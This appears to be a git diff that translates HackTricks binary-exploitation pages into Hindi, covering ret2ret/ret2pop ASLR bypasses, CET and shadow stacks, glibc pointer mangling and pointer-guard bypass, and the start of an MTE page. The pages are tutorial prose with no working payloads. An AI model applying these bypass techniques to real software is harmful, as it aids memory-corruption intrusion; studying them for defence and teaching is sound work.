जा सके और फिर `system('/bin/sh')` को कॉल करने के लिए एक ROP गैजेट। - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. +- 64 बिट, ASLR सक्षम, कोई कैनरी नहीं, एक चाइल्ड फंक्शन से मुख्य में स्टैक ओवरफ्लो। GOT से puts के पते को लीक करने के लिए puts को कॉल करने के लिए ROP गैजेट और फिर एक गैजेट को कॉल करें। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md index 19f39dac3..6ccf867b8 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md @@ -4,27 +4,27 @@ ## Ret2ret -The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**. +इस तकनीक का मुख्य **लक्ष्य** ASLR को **स्टैक में एक मौजूदा पॉइंटर का दुरुपयोग करके बायपास करने** की कोशिश करना है। -Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte). +बुनियादी रूप से, स्टैक ओवरफ्लो आमतौर पर स्ट्रिंग्स के कारण होते हैं, और **स्ट्रिंग्स मेमोरी में अंत में एक नल बाइट के साथ समाप्त होती हैं**। यह मौजूदा पॉइंटर द्वारा इंगित स्थान को कम करने की कोशिश करने की अनुमति देता है। इसलिए यदि स्टैक में `0xbfffffdd` था, तो यह ओवरफ्लो इसे `0xbfffff00` में बदल सकता है (अंतिम शून्य बाइट को नोट करें)। -If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached. +यदि वह पता हमारे शेलकोड की ओर इंगित करता है, तो **`ret` निर्देश में पते जोड़कर** उस पते तक पहुंचना संभव है जब तक कि यह नहीं पहुंच जाता। -Therefore the attack would be like this: +इसलिए हमला इस तरह होगा: -- NOP sled -- Shellcode -- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled) -- 0x00 added by the string modifying an address from the stack making it point to the NOP sled +- NOP स्लेड +- शेलकोड +- **`ret` के लिए पते के साथ EIP से स्टैक को ओवरराइट करें** (RET स्लेड) +- 0x00 जो स्ट्रिंग द्वारा स्टैक से एक पते को संशोधित करके NOP स्लेड की ओर इंगित करता है -Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit. +[**इस लिंक**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) का पालन करते हुए आप एक कमजोर बाइनरी का उदाहरण देख सकते हैं और [**इसमें**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) एक्सप्लॉइट। ## Ret2pop -In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop ; ret`**.\ -This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change. +यदि आप स्टैक में एक **परफेक्ट पॉइंटर पा सकते हैं जिसे आप संशोधित नहीं करना चाहते** (`ret2ret` में हम अंतिम सबसे कम बाइट को `0x00` में बदलते हैं), तो आप वही `ret2ret` हमला कर सकते हैं, लेकिन **RET स्लेड की लंबाई को 1 से कम करना होगा** (ताकि अंतिम `0x00` परफेक्ट पॉइंटर से ठीक पहले के डेटा को ओवरराइट करे), और **RET स्लेड का अंतिम** पता **`pop ; ret`** की ओर इंगित करना चाहिए।\ +इस तरह, **परफेक्ट पॉइंटर से पहले का डेटा** स्टैक से हटा दिया जाएगा (यह डेटा `0x00` द्वारा प्रभावित होता है) और **अंतिम `ret` बिना किसी परिवर्तन के स्टैक में परफेक्ट पते की ओर इंगित करेगा**। -Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit. +[**इस लिंक**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) का पालन करते हुए आप एक कमजोर बाइनरी का उदाहरण देख सकते हैं और [**इसमें**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) एक्सप्लॉइट। ## References diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md index 22e1edbc2..fe22bd82c 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md @@ -4,22 +4,22 @@ ## Control Flow Enforcement Technology (CET) -**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action. +**CET** एक सुरक्षा विशेषता है जो हार्डवेयर स्तर पर लागू की गई है, जिसका उद्देश्य **Return-Oriented Programming (ROP)** और **Jump-Oriented Programming (JOP)** जैसे सामान्य नियंत्रण-प्रवाह हाइजैकिंग हमलों को रोकना है। इस प्रकार के हमले एक प्रोग्राम के निष्पादन प्रवाह को हेरफेर करते हैं ताकि वे दुर्भावनापूर्ण कोड को निष्पादित कर सकें या benign कोड के टुकड़ों को इस तरह से जोड़ सकें कि एक दुर्भावनापूर्ण क्रिया की जा सके। -CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**. +CET दो मुख्य विशेषताएँ प्रस्तुत करता है: **Indirect Branch Tracking (IBT)** और **Shadow Stack**। -- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations. -- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow. +- **IBT** यह सुनिश्चित करता है कि अप्रत्यक्ष कूद और कॉल वैध लक्ष्यों पर किए जाएं, जिन्हें अप्रत्यक्ष शाखाओं के लिए कानूनी गंतव्यों के रूप में स्पष्ट रूप से चिह्नित किया गया है। यह एक नए निर्देश सेट के उपयोग के माध्यम से प्राप्त किया जाता है जो वैध लक्ष्यों को चिह्नित करता है, इस प्रकार हमलावरों को नियंत्रण प्रवाह को मनमाने स्थानों पर मोड़ने से रोकता है। +- **Shadow Stack** एक तंत्र है जो लौटने के पते के लिए अखंडता प्रदान करता है। यह नियमित कॉल स्टैक से अलग एक सुरक्षित, छिपी हुई प्रति रखता है। जब एक फ़ंक्शन लौटता है, तो लौटने के पते को शैडो स्टैक के खिलाफ मान्य किया जाता है, जिससे हमलावरों को स्टैक पर लौटने के पते को ओवरराइट करने से रोका जा सके। ## Shadow Stack -The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks. +**shadow stack** एक **विशेष स्टैक है जिसका उपयोग केवल लौटने के पते को संग्रहीत करने के लिए किया जाता है**। यह नियमित स्टैक के साथ काम करता है लेकिन सामान्य प्रोग्राम निष्पादन से सुरक्षित और छिपा होता है, जिससे हमलावरों के लिए छेड़छाड़ करना कठिन हो जाता है। शैडो स्टैक का प्राथमिक लक्ष्य यह सुनिश्चित करना है कि पारंपरिक स्टैक पर लौटने के पते में कोई भी संशोधन उपयोग किए जाने से पहले पता लगाया जाए, प्रभावी रूप से ROP हमलों को कम करना। ## How CET and Shadow Stack Prevent Attacks -**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code. +**ROP और JOP हमले** एक एप्लिकेशन के नियंत्रण प्रवाह को हाइजैक करने की क्षमता पर निर्भर करते हैं, जो उन्हें स्टैक पर पॉइंटर्स या लौटने के पते को ओवरराइट करने की अनुमति देने वाली कमजोरियों का लाभ उठाते हैं। मौजूदा कोड गैजेट्स या लौटने-उन्मुख प्रोग्रामिंग गैजेट्स के अनुक्रमों की ओर प्रवाह को निर्देशित करके, हमलावर मनमाने कोड को निष्पादित कर सकते हैं। -- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary. -- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding. +- **CET का IBT** फीचर इन हमलों को काफी कठिन बना देता है यह सुनिश्चित करके कि अप्रत्यक्ष शाखाएँ केवल उन पते पर कूद सकती हैं जिन्हें स्पष्ट रूप से वैध लक्ष्यों के रूप में चिह्नित किया गया है। इससे हमलावरों के लिए बाइनरी में फैले मनमाने गैजेट्स को निष्पादित करना असंभव हो जाता है। +- दूसरी ओर, **shadow stack** यह सुनिश्चित करता है कि भले ही एक हमलावर सामान्य स्टैक पर लौटने के पते को ओवरराइट कर सके, **असमानता का पता लगाया जाएगा** जब फ़ंक्शन से लौटने पर दूषित पते की तुलना शैडो स्टैक में संग्रहीत सुरक्षित प्रति से की जाएगी। यदि पते मेल नहीं खाते हैं, तो प्रोग्राम समाप्त हो सकता है या अन्य सुरक्षा उपाय कर सकता है, जिससे हमले को सफल होने से रोका जा सके। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md index cacfd7f2f..fa85911fe 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md @@ -4,77 +4,77 @@ ## Chunk Alignment Enforcement -**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin. +**Malloc** मेमोरी को **8-बाइट (32-बिट) या 16-बाइट (64-बिट) समूहों** में आवंटित करता है। इसका मतलब है कि 32-बिट सिस्टम में चंक्स का अंत **0x8** के साथ संरेखित होना चाहिए, और 64-बिट सिस्टम में **0x0** के साथ। सुरक्षा सुविधा यह सुनिश्चित करती है कि प्रत्येक चंक इन विशिष्ट स्थानों पर **सही ढंग से संरेखित** है, इससे पहले कि बिन से एक पॉइंटर का उपयोग किया जाए। ### Security Benefits -The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully. +64-बिट सिस्टम में चंक संरेखण का प्रवर्तन Malloc की सुरक्षा को **हर 16 पते में केवल 1 नकली चंक्स के स्थान को सीमित करके** महत्वपूर्ण रूप से बढ़ाता है। यह शोषण प्रयासों को जटिल बनाता है, विशेष रूप से उन परिदृश्यों में जहां उपयोगकर्ता के पास इनपुट मानों पर सीमित नियंत्रण होता है, जिससे हमलों को अधिक जटिल और सफलतापूर्वक निष्पादित करना कठिन हो जाता है। - **Fastbin Attack on \_\_malloc_hook** -The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security. +Malloc में नए संरेखण नियम भी `__malloc_hook` से संबंधित एक क्लासिक हमले को विफल करते हैं। पहले, हमलावर चंक के आकार को **इस फ़ंक्शन पॉइंटर को ओवरराइट करने के लिए हेरफेर कर सकते थे** और **कोड निष्पादन** प्राप्त कर सकते थे। अब, सख्त संरेखण आवश्यकता सुनिश्चित करती है कि ऐसी हेरफेर अब संभव नहीं हैं, एक सामान्य शोषण मार्ग को बंद कर देती है और समग्र सुरक्षा को बढ़ाती है। ## Pointer Mangling on fastbins and tcache -**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**). +**Pointer Mangling** एक सुरक्षा सुधार है जिसका उपयोग **फास्टबिन और टकैश Fd पॉइंटर्स** को मेमोरी प्रबंधन संचालन में सुरक्षित रखने के लिए किया जाता है। यह तकनीक कुछ प्रकार की मेमोरी शोषण रणनीतियों को रोकने में मदद करती है, विशेष रूप से उन जो लीक की गई मेमोरी जानकारी की आवश्यकता नहीं होती या जो ज्ञात स्थानों के सापेक्ष सीधे मेमोरी स्थानों में हेरफेर करती हैं (सापेक्ष **ओवरराइट** )। -The core of this technique is an obfuscation formula: +इस तकनीक का मूल एक अस्पष्टता सूत्र है: **`New_Ptr = (L >> 12) XOR P`** -- **L** is the **Storage Location** of the pointer. -- **P** is the actual **fastbin/tcache Fd Pointer**. +- **L** पॉइंटर का **स्टोरेज स्थान** है। +- **P** वास्तविक **फास्टबिन/टकैश Fd पॉइंटर** है। -The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits. +स्टोरेज स्थान (L) को 12 बिट्स दाईं ओर शिफ्ट करने का कारण महत्वपूर्ण है। यह हेरफेर मेमोरी पते के सबसे कम महत्वपूर्ण 12 बिट्स की पूर्वानुमानित प्रकृति में अंतर्निहित एक भेद्यता को संबोधित करता है, जो आमतौर पर सिस्टम आर्किटेक्चर की सीमाओं के कारण पूर्वानुमानित होते हैं। बिट्स को शिफ्ट करके, पूर्वानुमानित भाग समीकरण से बाहर हो जाता है, नए, मंगले हुए पॉइंटर की यादृता को बढ़ाता है और इस प्रकार इन बिट्स की पूर्वानुमानिता पर निर्भर शोषणों के खिलाफ सुरक्षा करता है। -This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process. +यह मंगला हुआ पॉइंटर **एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR)** द्वारा प्रदान की गई मौजूदा यादृता का लाभ उठाता है, जो कार्यक्रमों द्वारा उपयोग किए जाने वाले पते को यादृता करता है ताकि हमलावरों के लिए किसी प्रक्रिया के मेमोरी लेआउट की भविष्यवाणी करना कठिन हो जाए। -**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers. +**Demangling** पॉइंटर को मूल पते को पुनः प्राप्त करने के लिए उसी XOR ऑपरेशन का उपयोग करना शामिल है। यहाँ, मंगला हुआ पॉइंटर सूत्र में P के रूप में माना जाता है, और जब इसे अपरिवर्तित स्टोरेज स्थान (L) के साथ XOR किया जाता है, तो यह मूल पॉइंटर को प्रकट करता है। मंगलीकरण और डेमंगलीकरण में यह सममिति सुनिश्चित करती है कि सिस्टम बिना महत्वपूर्ण ओवरहेड के प्रभावी ढंग से पॉइंटर्स को एन्कोड और डिकोड कर सकता है, जबकि मेमोरी पॉइंटर्स में हेरफेर करने वाले हमलों के खिलाफ सुरक्षा को काफी बढ़ाता है। ### Security Benefits -Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways: +Pointer mangling का उद्देश्य **हीप में आंशिक और पूर्ण पॉइंटर ओवरराइट्स को रोकना** है, जो सुरक्षा में एक महत्वपूर्ण सुधार है। यह सुविधा कई तरीकों से शोषण तकनीकों को प्रभावित करती है: -1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success. -2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier. -3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses. -4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints. +1. **Bye Byte सापेक्ष ओवरराइट्स की रोकथाम**: पहले, हमलावर एक पॉइंटर के भाग को बदल सकते थे ताकि **हीप चंक्स को विभिन्न स्थानों पर पुनर्निर्देशित किया जा सके बिना सटीक पते को जाने**, यह तकनीक लीकलेस **हाउस ऑफ रोमन** शोषण में स्पष्ट है। पॉइंटर मंग्लिंग के साथ, ऐसी सापेक्ष ओवरराइट्स **हीप लीक के बिना अब ब्रूट फोर्सिंग की आवश्यकता होती है**, जिससे उनकी सफलता की संभावना में भारी कमी आती है। +2. **Tcache Bin/Fastbin हमलों की बढ़ती कठिनाई**: सामान्य हमले जो फ़ंक्शन पॉइंटर्स (जैसे `__malloc_hook`) को ओवरराइट करते हैं, फास्टबिन या टकैश प्रविष्टियों में हेरफेर करके बाधित होते हैं। उदाहरण के लिए, एक हमला एक LibC पते को लीक करने, एक चंक को टकैश बिन में मुक्त करने, और फिर Fd पॉइंटर को `__malloc_hook` पर पुनर्निर्देशित करने के लिए ओवरराइट करने में शामिल हो सकता है। पॉइंटर मंग्लिंग के साथ, इन पॉइंटर्स को सही ढंग से मंग्लित किया जाना चाहिए, **सटीक हेरफेर के लिए हीप लीक की आवश्यकता होती है**, जिससे शोषण की बाधा बढ़ जाती है। +3. **गैर-हीप स्थानों में हीप लीक की आवश्यकता**: गैर-हीप क्षेत्रों (जैसे स्टैक, .bss सेक्शन, या PLT/GOT) में एक नकली चंक बनाना अब भी **हीप लीक की आवश्यकता होती है** क्योंकि पॉइंटर मंग्लिंग की आवश्यकता होती है। यह इन क्षेत्रों का शोषण करने की जटिलता को बढ़ाता है, LibC पते में हेरफेर करने की आवश्यकता के समान। +4. **हीप पते लीक करना अधिक चुनौतीपूर्ण हो जाता है**: पॉइंटर मंग्लिंग फास्टबिन और टकैश बिन में Fd पॉइंटर्स के उपयोगिता को हीप पते लीक के स्रोत के रूप में सीमित करती है। हालाँकि, असंरचित, छोटे, और बड़े बिन में पॉइंटर्स बिना मंग्लित रहते हैं, इस प्रकार अभी भी पते लीक करने के लिए उपयोगी होते हैं। यह बदलाव हमलावरों को शोषण योग्य जानकारी के लिए इन बिनों का पता लगाने के लिए धकेलता है, हालाँकि कुछ तकनीकें अभी भी लीक से पहले पॉइंटर्स को डेमंग्लित करने की अनुमति दे सकती हैं, हालाँकि सीमाओं के साथ। ### **Demangling Pointers with a Heap Leak** > [!CAUTION] -> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088). +> प्रक्रिया के बेहतर स्पष्टीकरण के लिए [**यहाँ से मूल पोस्ट देखें**](https://maxwelldulin.com/BlogPost?post=5445977088)। ### Algorithm Overview -The formula used for mangling and demangling pointers is: +पॉइंटर्स को मंग्लित और डेमंग्लित करने के लिए उपयोग किया जाने वाला सूत्र है: **`New_Ptr = (L >> 12) XOR P`** -Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves. +जहाँ **L** स्टोरेज स्थान है और **P** Fd पॉइंटर है। जब **L** को 12 बिट्स दाईं ओर शिफ्ट किया जाता है, तो यह **P** के सबसे महत्वपूर्ण बिट्स को उजागर करता है, **XOR** की प्रकृति के कारण, जो तब 0 आउटपुट करता है जब बिट्स को स्वयं के साथ XOR किया जाता है। -**Key Steps in the Algorithm:** +**Algorithm में मुख्य चरण:** -1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged. -2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer. -3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered. -4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process. +1. **सबसे महत्वपूर्ण बिट्स का प्रारंभिक लीक**: शिफ्टेड **L** को **P** के साथ XOR करके, आप प्रभावी रूप से **P** के शीर्ष 12 बिट्स प्राप्त करते हैं क्योंकि शिफ्टेड भाग **L** शून्य होगा, जिससे **P** के संबंधित बिट्स अपरिवर्तित रहेंगे। +2. **पॉइंटर बिट्स की पुनर्प्राप्ति**: चूंकि XOR उलटा होता है, परिणाम और एक ऑपरेटर को जानने से आपको दूसरे ऑपरेटर की गणना करने की अनुमति मिलती है। इस गुण का उपयोग **P** के बिट्स के पूरे सेट को डेड्यूस करने के लिए किया जाता है, मंगले हुए पॉइंटर के भागों के साथ ज्ञात बिट्स के सेट को क्रमशः XOR करके। +3. **आवर्ती डेमंग्लिंग**: यह प्रक्रिया दोहराई जाती है, प्रत्येक बार पिछले चरण से **P** के नए खोजे गए बिट्स का उपयोग करके मंगले हुए पॉइंटर के अगले खंड को डिकोड करने के लिए, जब तक सभी बिट्स पुनर्प्राप्त नहीं हो जाते। +4. **निर्धारणात्मक बिट्स को संभालना**: **L** के अंतिम 12 बिट्स शिफ्ट के कारण खो जाते हैं, लेकिन वे निर्धारणात्मक होते हैं और प्रक्रिया के बाद पुनर्निर्माण किया जा सकता है। -You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) +आप इस एल्गोरिदम का कार्यान्वयन यहाँ पा सकते हैं: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) ## Pointer Guard -Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers. +Pointer guard एक शोषण शमन तकनीक है जिसका उपयोग glibc में संग्रहीत फ़ंक्शन पॉइंटर्स की सुरक्षा के लिए किया जाता है, विशेष रूप से उन फ़ंक्शन पॉइंटर्स की जो `atexit()` जैसे पुस्तकालय कॉल द्वारा पंजीकृत होते हैं। यह सुरक्षा पॉइंटर्स को एक गुप्त के साथ XOR करके और फिर बिटवाइज रोटेशन लागू करके स्क्रैम्बल करने में शामिल होती है। यह तंत्र हमलावरों को फ़ंक्शन पॉइंटर्स को ओवरराइट करके नियंत्रण प्रवाह को हाईजैक करने से रोकने का लक्ष्य रखता है। ### **Bypassing Pointer Guard with a leak** -1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`. -2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling. -3. **Exploiting Known Plaintexts:** - - **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers. - - **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function. -4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps. -5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations. +1. **Pointer Guard संचालन को समझना:** पॉइंटर्स का स्क्रैम्बलिंग (मंग्लिंग) `PTR_MANGLE` मैक्रो का उपयोग करके किया जाता है जो पॉइंटर को 64-बिट गुप्त के साथ XOR करता है और फिर 0x11 बिट्स का बायां रोटेशन करता है। मूल पॉइंटर को पुनः प्राप्त करने के लिए उलटा संचालन `PTR_DEMANGLE` द्वारा संभाला जाता है। +2. **हमला रणनीति:** यह हमला एक ज्ञात-प्लेनटेक्स्ट दृष्टिकोण पर आधारित है, जहाँ हमलावर को मंगले हुए पॉइंटर के मूल और मंगले हुए दोनों संस्करणों को जानने की आवश्यकता होती है ताकि मंग्लिंग के लिए उपयोग किए गए गुप्त को डेड्यूस किया जा सके। +3. **ज्ञात प्लेनटेक्स्ट का शोषण:** +- **स्थिर फ़ंक्शन पॉइंटर्स की पहचान करना:** glibc स्रोत कोड या प्रारंभिक फ़ंक्शन पॉइंटर तालिकाओं (जैसे `__libc_pthread_functions`) की जांच करके, एक हमलावर पूर्वानुमानित फ़ंक्शन पॉइंटर्स पा सकता है। +- **गुप्त की गणना करना:** एक ज्ञात फ़ंक्शन पॉइंटर जैसे `__pthread_attr_destroy` और फ़ंक्शन पॉइंटर तालिका से इसके मंगले हुए संस्करण का उपयोग करके, गुप्त को मंगले हुए पॉइंटर को उलटा घुमाकर (दाईं ओर घुमाना) और फिर फ़ंक्शन के पते के साथ XOR करके गणना की जा सकती है। +4. **वैकल्पिक प्लेनटेक्स्ट:** हमलावर ज्ञात मानों जैसे 0 या -1 के साथ पॉइंटर्स को मंग्लित करने का प्रयोग कर सकता है यह देखने के लिए कि क्या ये मेमोरी में पहचानने योग्य पैटर्न उत्पन्न करते हैं, संभावित रूप से जब ये पैटर्न मेमोरी डंप में पाए जाते हैं तो गुप्त को प्रकट करते हैं। +5. **व्यावहारिक अनुप्रयोग:** गुप्त की गणना करने के बाद, एक हमलावर नियंत्रित तरीके से पॉइंटर्स में हेरफेर कर सकता है, मूल रूप से एक मल्टीथ्रेडेड एप्लिकेशन में Pointer Guard सुरक्षा को बायपास कर सकता है, जिसमें libc बेस पते का ज्ञान और मनमाने मेमोरी स्थानों को पढ़ने की क्षमता होती है। ## References diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md index 43980bbca..d12bb3b44 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md @@ -1,54 +1,52 @@ -# Memory Tagging Extension (MTE) +# मेमोरी टैगिंग एक्सटेंशन (MTE) {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## बुनियादी जानकारी -**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code. +**मेमोरी टैगिंग एक्सटेंशन (MTE)** को सॉफ़्टवेयर की विश्वसनीयता और सुरक्षा को बढ़ाने के लिए डिज़ाइन किया गया 